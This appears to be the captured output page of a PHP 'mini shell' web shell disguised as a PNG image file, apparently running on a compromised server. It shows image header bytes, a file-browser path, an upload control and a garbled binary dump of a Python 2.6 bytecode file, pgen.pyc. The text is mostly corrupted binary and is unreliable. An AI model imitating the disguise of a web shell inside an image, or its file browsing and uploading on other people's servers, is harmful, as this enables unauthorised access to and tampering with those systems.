php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/pgen2/
upload
files >> //usr/lib/python2.6/lib2to3/pgen2/pgen.pyc

Lc@sddklZlZlZdeifdYZdefdYZdefdYZdefd	YZ	d
dZ
dS(
i(tgrammarttokenttokenizetPgenGrammarcBseZRS((t__name__t
__module__(((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRstParserGeneratorcBseZddZdZdZdZdZdZdZ	dZ
dZd	Zd
Z
dZdZd
ZdZddZdZdZRS(cCsd}|djot|}|i}n||_||_ti|i|_|i	|i
\|_|_|dj	o|nh|_
|idS(N(tNonetopentclosetfilenametstreamRtgenerate_tokenstreadlinet	generatortgettokentparsetdfaststartsymboltfirsttaddfirstsets(tselfR
Rtclose_stream((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyt__init__s

		

	c
Cst}|ii}|i|i|i|id|ix;|D]3}dt|i}||i|<||i	|<qLWx|D]}|i|}g}x|D]}g}xE|i
iD]4\}	}
|i|i
||	|i|
fqW|io |id|i|fn|i|qW|ii|||i||f|i|i|<qW|i|i|_|S(Nii(RRtkeystsorttremoveRtinserttlent
symbol2numbert
number2symboltarcst	iteritemstappendt
make_labeltindextisfinaltstatest
make_firsttstart(RtctnamestnametitdfaR%tstateRtlabeltnext((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pytmake_grammars6	


,
 *cCsD|i|}h}x*|D]"}|i||}d||<qW|S(Ni(RR"(RR(R*trawfirstRR.tilabel((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR&4s
cCst|i}|dio||ijoN||ijo|i|S|ii|i|df||i|<|Sqtt|d}t	|t
p
t||tijp
t|||i
jo|i
|S|ii|df||i
|<|Sn|ddjp
t|t|}|dioJ||ijo|i|S|iiti|f||i|<|SnQti|}||i
jo|i
|S|ii|df||i
|<|SdS(Nit"t'(R3R4(RtlabelstisalphaRtsymbol2labelR!RtgetattrRt
isinstancetinttAssertionErrorttok_namettokenstevaltkeywordstNAMERtopmap(RR(R.R2titokentvalue((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR"=s<




cCsO|ii}|ix/|D]'}||ijo|i|q q WdS(N(RRRRt	calcfirst(RR)R*((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRks
cCsr|i|}d|i|<|d}h}h}x|iiD]\}}||ijow||ijo2|i|}|djotd|qn|i||i|}|i||||<q@d||<hd|6||<q@Wh}	xf|iD]X\}}
xI|
D]A}||	jo$td||||	|fn||	|<qWqW||i|<dS(Nisrecursion for rule %risArule %s is ambiguous; %s is in the first sets of %s as well as %s(RRRRR t
ValueErrorRDtupdate(RR*R,R-ttotalsettoverlapcheckR.R/tfsettinversetitsfirsttsymbol((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRDss8










c	Csh}d}x|itijox"|itijo|iq%W|iti}|itid|i	\}}|iti|i
||}t|}|i|t|}|||<|djo
|}qqW||fS(Nt:(
RttypeRt	ENDMARKERtNEWLINERtexpectR@tOPt	parse_rhstmake_dfaRtsimplify_dfa(	RRRR*tatzR,toldlentnewlen((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRs&


csFt|tptt|tptfd}fdt|||g}x|D]}h}xU|iD]J}xA|iD]6\}}	|dj	o|	|i|hqqWqWxl|iD]^\}}
x?|D]}|i|
joPqqWt|
|}|i	||i
||qWqkW|S(Ncsh}|||S(N((R-tbase(t
addclosure(s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pytclosures
csot|tpt||jodSd||<x5|iD]*\}}|djo||q=q=WdS(Ni(R9tNFAStateR;RR(R-RZR.R/(R[(s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR[s



(R9R]R;tDFAStatetnfasetRRt
setdefaultR R!taddarc(RR'tfinishR\R%R-RtnfastateR.R/R_tst((R[s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRTs0


%
	
c
CsdG|GH|g}xt|D]\}}dG|G||jodpdGHxy|iD]n\}}||jo|i|}	nt|}	|i||djo
d|	GHqVd||	fGHqVWqWdS(NsDump of NFA fors  States(final)ts	    -> %ds    %s -> %d(t	enumerateRR#RR!R(
RR*R'RbttodoR+R-R.R/tj((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pytdump_nfas		
!




cCsdG|GHxpt|D]b\}}dG|G|iodpdGHx5|iiD]$\}}d||i|fGHqPWqWdS(NsDump of DFA fors  States(final)Res    %s -> %d(RfR$RR R#(RR*R,R+R-R.R/((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pytdump_dfas	
cCst}x|ot}xt|D]z\}}xkt|dt|D]P}||}||jo3||=x|D]}|i||qtWt}PqIqIWq#Wq	WdS(Ni(tTruetFalseRftrangeRt
unifystate(RR,tchangesR+tstate_iRhtstate_jR-((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRUs 


cCs|i\}}|idjo||fSt}t}|i||i|xK|idjo:|i|i\}}|i||i|q\W||fSdS(Nt|(t	parse_altRCR]RaR(RRVRWtaatzz((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRSs		



cCsu|i\}}xV|idjp|ititifjo)|i\}}|i||}qW||fS(Nt(t[(RvRw(t
parse_itemRCRNRR@tSTRINGRa(RRVtbR(td((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRs
s
cCs|idjoG|i|i\}}|itid|i|||fS|i\}}|i}|djo||fS|i|i||djo||fS||fSdS(NRwt]t+t*(R}R~(RCRRSRQRRRRat
parse_atom(RRVRWRC((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRxs

	



cCs|idjo:|i|i\}}|itid||fS|ititifjo:t	}t	}|i
||i|i||fS|id|i|idS(NRvt)s+expected (...) or NAME or STRING, got %s/%s(RCRRSRQRRRRNR@RyR]Ratraise_error(RRVRW((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR(s
		
	cCsg|i|jp|dj	o3|i|jo#|id|||i|in|i}|i|S(Nsexpected %s/%s, got %s/%s(RNRRCRR(RRNRC((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRQ9s-		
cCsk|ii}x1|dtitifjo|ii}qW|\|_|_|_|_|_	dS(Ni(
RR/RtCOMMENTtNLRNRCtbegintendtline(Rttup((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRAs
c	Gsu|o;y||}WqBdi|gtt|}qBXnt||i|id|id|ifdS(Nt ii(tjointmaptstrtSyntaxErrorR
RR(Rtmsgtargs((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRHs'N(RRRRR0R&R"RRDRRTRiRjRURSRsRxRRQRR(((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR
s$				.				$					
			R]cBseZdZddZRS(cCs
g|_dS(N(R(R((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRSscCsU|djpt|tptt|tpt|ii||fdS(N(RR9RR;R]RR!(RR/R.((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRaVs$N(RRRRRa(((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR]Qs	R^cBs2eZdZdZdZdZdZRS(cCsvt|tpttt|itptt|tpt||_||j|_h|_dS(N(	R9tdictR;titerR/R]R_R$R(RR_tfinal((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR]s#	cCsVt|tpt||ijptt|tpt||i|<dS(N(R9RR;RR^(RR/R.((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRaescCsBx;|iiD]*\}}||jo||i|<qqWdS(N(RR (RtoldtnewR.R/((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyRnks
cCst|tpt|i|ijotSt|it|ijotSx;|iiD]*\}}||ii|j	otSqcWt	S(N(
R9R^R;R$RlRRR tgetRk(RtotherR.R/((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyt__eq__ps	N(RRRRaRnRRt__hash__(((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyR^[s
				sGrammar.txtcCst|}|iS(N(RR0(R
tp((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pytgenerate_grammarsN(ReRRRtGrammarRtobjectRR]R^R(((s(/usr/lib/python2.6/lib2to3/pgen2/pgen.pyt<module>sH
%
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`